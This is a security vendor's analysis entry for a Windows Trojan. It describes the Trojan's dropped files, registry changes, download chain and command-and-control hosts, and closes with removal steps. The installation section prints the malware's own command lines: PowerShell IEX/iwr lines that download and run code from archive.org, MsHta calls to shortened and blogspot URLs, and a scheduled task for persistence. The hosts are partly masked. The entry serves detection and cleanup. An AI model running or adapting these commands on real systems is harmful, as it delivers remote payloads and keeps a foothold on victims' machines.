Analysis by: Maria Emreen Viray
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It downloads a file from a certain URL then renames it before storing it in the affected system.

It connects to certain websites to send and receive information.

  TECHNICAL DETAILS

File Size: 13,442 bytes
File Type: Other
Memory Resident: Yes
Initial Samples Received Date: 26 May 2021
Payload: Drops files, Connects to URLs/IPs, Disables services, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Startup%\Windows.lnk → points to %User Startup%\Windows.exe (non-existent)
  • %Application Data%\Microsoft\Windows\Templates\Windows.lnk
  • %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • MsHta http://www.j.mp/{redirection to specific resource}
  • %System%\WindowsPowerShell\v1.0\powershell.exe" $www='https://{BLOCKED}.us.archive.org/34/items/Coxes/Coxes.txt';$sss= {Obfuscated Code};$bbb={Obfuscated Code};$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
  • %System%\WindowsPowerShell\v1.0\powershell.exe" i'E'x(iwr('https://{BLOCKED}.us.archive.org/12/items/Nexcry/Nexcry.txt') -useB);i'E'x(iwr('https://{BLOCKED}.us.archive.org/12/items/Nexcry/Nexcry.txt') -useB);i'E'x(iwr('https://{BLOCKED}.us.archive.org/12/items/Nexcry/Nexcry.txt') -useB);
    • starts the following process:
      • %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  • %System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://{BLOCKED}1230948@backishbackuponback.blogspot.com/p/back.html\""
  • #cmd
  • %System%\WScript.exe" "%Public%\lub.vbs"
  • %System%\WindowsPowerShell\v1.0\powershell.exe" =https://{BLOCKED}.us.archive.org/34/items/Coxes/Coxes.txt

It injects codes into the following process(es):

  • %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_USERS\{SID}
di = !

HKEY_CURRENT_USER\Environment
SEE_MASK_NOZONECHECKS = 1

Download Routine

This Trojan downloads files from the following URLs then renames them before storage in the affected system:

  • Short URLs of initial connection:
    • http://www.j.mp/{redirection to specific resource}
    • http://bit.ly/{redirection to specific resource}
      • redirected to:
        • https://{BLOCKED}too.blogspot.com/p/main-2.html → executes code that resides in the following URL:
          • https://{BLOCKED}08.us.archive.org/34/items/Coxes/Coxes.txt → downloads files and executes lub.vbs
  • https://{BLOCKED}09.us.archive.org/12/items/Nexcry/Nexcry.txt → code that resides here is injected into spwaned MSBuild.exe
  • https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
  • https://{BLOCKED}09.us.archive.org/9/items/final-up/FinalUp.txt → lub.vbs

It saves the files it downloads using the following names:

  • %Public%\clone.vbs → disables security in infected machine
  • %Public%\lub.vbs → creates schedule task persistence for clone.vbs

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

Other Details

This Trojan adds the following registry keys:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\MediaResources

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\MediaResources\msvideo

HKEY_CURRENT_USER\Software\Windows

It connects to the following website to send and receive information:

  • {BLOCKED}tohoe.duckdns.org
  • {BLOCKED}.{BLOCKED}.107.28

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 16.766.06
FIRST VSAPI PATTERN DATE: 07 Jun 2021
VSAPI OPR PATTERN File: 16.767.00
VSAPI OPR PATTERN Date: 08 Jun 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: SECOTAKSA
  • Task to be run: \MsHtA\http://{BLOCKED}1230948@backishbackuponback.blogspot.com/p/back.html\

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_USERS\{SID}
    • di = !
  • In HKEY_CURRENT_USER\Environment
    • SEE_MASK_NOZONECHECKS = 1

Step 6

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MediaResources
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MediaResources\msvideo
  • In HKEY_CURRENT_USER\Software\Windows

Step 7

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Startup%\Windows.lnk
  • %Application Data%\Microsoft\Windows\Templates\Windows.lnk
  • %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • %Public%\clone.vbs
  • %Public%\lub.vbs

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.P97M.VALYRIA.YXBEY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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